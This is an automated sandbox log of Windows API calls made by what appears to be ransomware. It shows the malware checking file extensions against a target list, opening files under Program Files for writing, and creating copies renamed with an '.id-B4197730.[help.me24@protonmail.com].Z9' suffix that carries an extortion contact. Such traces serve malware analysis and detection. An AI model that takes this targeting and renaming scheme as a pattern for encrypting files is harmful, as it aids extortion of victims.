	[0193.304] lstrlenW (lpString=".docx") returned 5
	[0193.304] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.304] lstrlenW (lpString=".pdf") returned 4
	[0193.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString=".xls") returned 4
	[0193.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.304] lstrlenW (lpString=".xlsx") returned 5
	[0193.304] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.304] lstrlenW (lpString=".ppt") returned 4
	[0193.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.304] lstrlenW (lpString=".zip") returned 4
	[0193.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.304] lstrlenW (lpString=".rar") returned 4
	[0193.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString=".bz2") returned 4
	[0193.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString=".7z") returned 3
	[0193.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.304] lstrlenW (lpString=".dbf") returned 4
	[0193.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.304] lstrlenW (lpString=".1cd") returned 4
	[0193.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.304] lstrlenW (lpString=".jpg") returned 4
	[0193.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.304] lstrlenW (lpString=".doc") returned 4
	[0193.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.304] lstrlenW (lpString=".docx") returned 5
	[0193.305] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0193.305] lstrlenW (lpString=".pdf") returned 4
	[0193.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString=".xls") returned 4
	[0193.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.305] lstrlenW (lpString=".xlsx") returned 5
	[0193.305] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.305] lstrlenW (lpString=".ppt") returned 4
	[0193.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.305] lstrlenW (lpString=".zip") returned 4
	[0193.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.305] lstrlenW (lpString=".rar") returned 4
	[0193.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString=".bz2") returned 4
	[0193.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString=".7z") returned 3
	[0193.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.305] lstrlenW (lpString=".dbf") returned 4
	[0193.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.305] lstrlenW (lpString=".1cd") returned 4
	[0193.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0193.305] lstrlenW (lpString=".jpg") returned 4
	[0193.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.305] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.305] lstrlenW (lpString="J0099181.WMF") returned 12
	[0193.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.306] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1198) returned 1
	[0193.306] CloseHandle (hObject=0x374) returned 1
	[0193.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220
	[0193.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.306] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.306] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0193.307] GetLastError () returned 0x0
	[0193.307] ReadFile (hFile=0x374, lpBuffer=0x35f3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0) 

Thread:
	id = 91
	os_tid = 0xf40

	[0187.658] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x7f7d80
	[0187.658] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x807d88
	[0187.658] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2298
	[0187.658] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x7a5890
	[0187.658] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2340
	[0187.658] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x3707020
	[0187.661] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b20b8
	[0187.661] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b20b8, Size=0x20) returned 0x78dbc0
	[0187.661] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b21c0
	[0187.661] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b21c0, Size=0x20) returned 0x78da58
	[0187.661] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0187.661] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0187.661] Wow64DisableWow64FsRedirection (in: OldValue=0x2beff50 | out: OldValue=0x2beff50*=0x0) returned 1
	[0187.661] lstrlenW (lpString="kernel32.dll") returned 12
	[0187.661] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dbc0 | out: hHeap=0x750000) returned 1
	[0187.661] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0187.661] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78da58 | out: hHeap=0x750000) returned 1
	[0187.661] Sleep (dwMilliseconds=0x64) 
	[0188.265] Sleep (dwMilliseconds=0x64) 
	[0188.585] Sleep (dwMilliseconds=0x64) 
	[0189.057] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.057] lstrlenW (lpString="Stars.htm") returned 9
	[0189.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.058] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=230) returned 1
	[0189.058] CloseHandle (hObject=0x370) returned 1
	[0189.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20
	[0189.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.059] lstrlenW (lpString=".doc") returned 4
	[0189.059] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0189.059] lstrlenW (lpString=".docx") returned 5
	[0189.059] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0189.059] lstrlenW (lpString=".pdf") returned 4
	[0189.059] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0189.059] lstrlenW (lpString=".xls") returned 4
	[0189.059] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0189.059] lstrlenW (lpString=".xlsx") returned 5
	[0189.059] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0189.059] lstrlenW (lpString=".ppt") returned 4
	[0189.059] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0189.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.059] lstrlenW (lpString=".zip") returned 4
	[0189.059] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0189.059] lstrlenW (lpString=".rar") returned 4
	[0189.059] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0189.059] lstrlenW (lpString=".bz2") returned 4
	[0189.059] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0189.059] lstrlenW (lpString=".7z") returned 3
	[0189.059] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0189.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.059] lstrlenW (lpString=".dbf") returned 4
	[0189.059] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0189.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.059] lstrlenW (lpString=".1cd") returned 4
	[0189.059] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0189.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.059] lstrlenW (lpString=".jpg") returned 4
	[0189.059] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0189.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.059] lstrlenW (lpString=".doc") returned 4
	[0189.060] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0189.060] lstrlenW (lpString=".docx") returned 5
	[0189.060] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0189.060] lstrlenW (lpString=".pdf") returned 4
	[0189.060] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0189.060] lstrlenW (lpString=".xls") returned 4
	[0189.060] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0189.060] lstrlenW (lpString=".xlsx") returned 5
	[0189.060] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0189.060] lstrlenW (lpString=".ppt") returned 4
	[0189.060] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0189.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.060] lstrlenW (lpString=".zip") returned 4
	[0189.060] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0189.060] lstrlenW (lpString=".rar") returned 4
	[0189.060] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0189.060] lstrlenW (lpString=".bz2") returned 4
	[0189.060] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0189.060] lstrlenW (lpString=".7z") returned 3
	[0189.060] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0189.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.060] lstrlenW (lpString=".dbf") returned 4
	[0189.060] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0189.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.060] lstrlenW (lpString=".1cd") returned 4
	[0189.060] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0189.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67
	[0189.060] lstrlenW (lpString=".jpg") returned 4
	[0189.060] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0189.060] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.060] lstrlenW (lpString="Stars.jpg") returned 9
	[0189.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.061] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7505) returned 1
	[0189.061] CloseHandle (hObject=0x370) returned 1
	[0189.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20
	[0189.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.062] lstrlenW (lpString=".doc") returned 4
	[0189.062] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0189.062] lstrlenW (lpString=".docx") returned 5
	[0189.062] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0189.062] lstrlenW (lpString=".pdf") returned 4
	[0189.062] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0189.062] lstrlenW (lpString=".xls") returned 4
	[0189.062] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0189.062] lstrlenW (lpString=".xlsx") returned 5
	[0189.062] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0189.062] lstrlenW (lpString=".ppt") returned 4
	[0189.062] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0189.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.062] lstrlenW (lpString=".zip") returned 4
	[0189.062] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0189.062] lstrlenW (lpString=".rar") returned 4
	[0189.062] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0189.062] lstrlenW (lpString=".bz2") returned 4
	[0189.062] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0189.062] lstrlenW (lpString=".7z") returned 3
	[0189.062] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0189.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.062] lstrlenW (lpString=".dbf") returned 4
	[0189.062] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0189.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.062] lstrlenW (lpString=".1cd") returned 4
	[0189.062] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0189.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.062] lstrlenW (lpString=".jpg") returned 4
	[0189.062] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0189.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.062] lstrlenW (lpString=".doc") returned 4
	[0189.062] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0189.062] lstrlenW (lpString=".docx") returned 5
	[0189.063] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0189.063] lstrlenW (lpString=".pdf") returned 4
	[0189.063] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0189.063] lstrlenW (lpString=".xls") returned 4
	[0189.063] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0189.063] lstrlenW (lpString=".xlsx") returned 5
	[0189.063] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0189.063] lstrlenW (lpString=".ppt") returned 4
	[0189.063] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0189.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.063] lstrlenW (lpString=".zip") returned 4
	[0189.063] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0189.063] lstrlenW (lpString=".rar") returned 4
	[0189.063] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0189.063] lstrlenW (lpString=".bz2") returned 4
	[0189.063] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0189.063] lstrlenW (lpString=".7z") returned 3
	[0189.063] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0189.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.063] lstrlenW (lpString=".dbf") returned 4
	[0189.063] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0189.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.063] lstrlenW (lpString=".1cd") returned 4
	[0189.063] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0189.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0189.063] lstrlenW (lpString=".jpg") returned 4
	[0189.063] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0189.063] Sleep (dwMilliseconds=0x64) 
	[0189.459] lstrcmpiW (lpString1=".inc", lpString2=".Z9") returned -1
	[0189.459] lstrlenW (lpString="adcjavas.inc") returned 12
	[0189.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0189.460] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=630) returned 1
	[0189.460] CloseHandle (hObject=0x34c) returned 1
	[0189.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20
	[0189.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.461] lstrlenW (lpString=".doc") returned 4
	[0189.461] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.461] lstrlenW (lpString=".docx") returned 5
	[0189.461] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.461] lstrlenW (lpString=".pdf") returned 4
	[0189.461] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0189.461] lstrlenW (lpString=".xls") returned 4
	[0189.461] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0189.461] lstrlenW (lpString=".xlsx") returned 5
	[0189.461] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0189.461] lstrlenW (lpString=".ppt") returned 4
	[0189.461] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0189.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.461] lstrlenW (lpString=".zip") returned 4
	[0189.461] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0189.461] lstrlenW (lpString=".rar") returned 4
	[0189.461] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0189.461] lstrlenW (lpString=".bz2") returned 4
	[0189.461] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.461] lstrlenW (lpString=".7z") returned 3
	[0189.461] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.461] lstrlenW (lpString=".dbf") returned 4
	[0189.461] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.461] lstrlenW (lpString=".1cd") returned 4
	[0189.461] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.461] lstrlenW (lpString=".jpg") returned 4
	[0189.461] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0189.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.462] lstrlenW (lpString=".doc") returned 4
	[0189.462] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.462] lstrlenW (lpString=".docx") returned 5
	[0189.462] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.462] lstrlenW (lpString=".pdf") returned 4
	[0189.462] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0189.462] lstrlenW (lpString=".xls") returned 4
	[0189.462] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0189.462] lstrlenW (lpString=".xlsx") returned 5
	[0189.462] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0189.462] lstrlenW (lpString=".ppt") returned 4
	[0189.462] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0189.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.462] lstrlenW (lpString=".zip") returned 4
	[0189.462] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0189.462] lstrlenW (lpString=".rar") returned 4
	[0189.462] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0189.462] lstrlenW (lpString=".bz2") returned 4
	[0189.462] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.462] lstrlenW (lpString=".7z") returned 3
	[0189.462] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.462] lstrlenW (lpString=".dbf") returned 4
	[0189.462] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.462] lstrlenW (lpString=".1cd") returned 4
	[0189.462] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0189.462] lstrlenW (lpString=".jpg") returned 4
	[0189.462] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0189.462] lstrcmpiW (lpString1=".inc", lpString2=".Z9") returned -1
	[0189.462] lstrlenW (lpString="adcvbs.inc") returned 10
	[0189.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
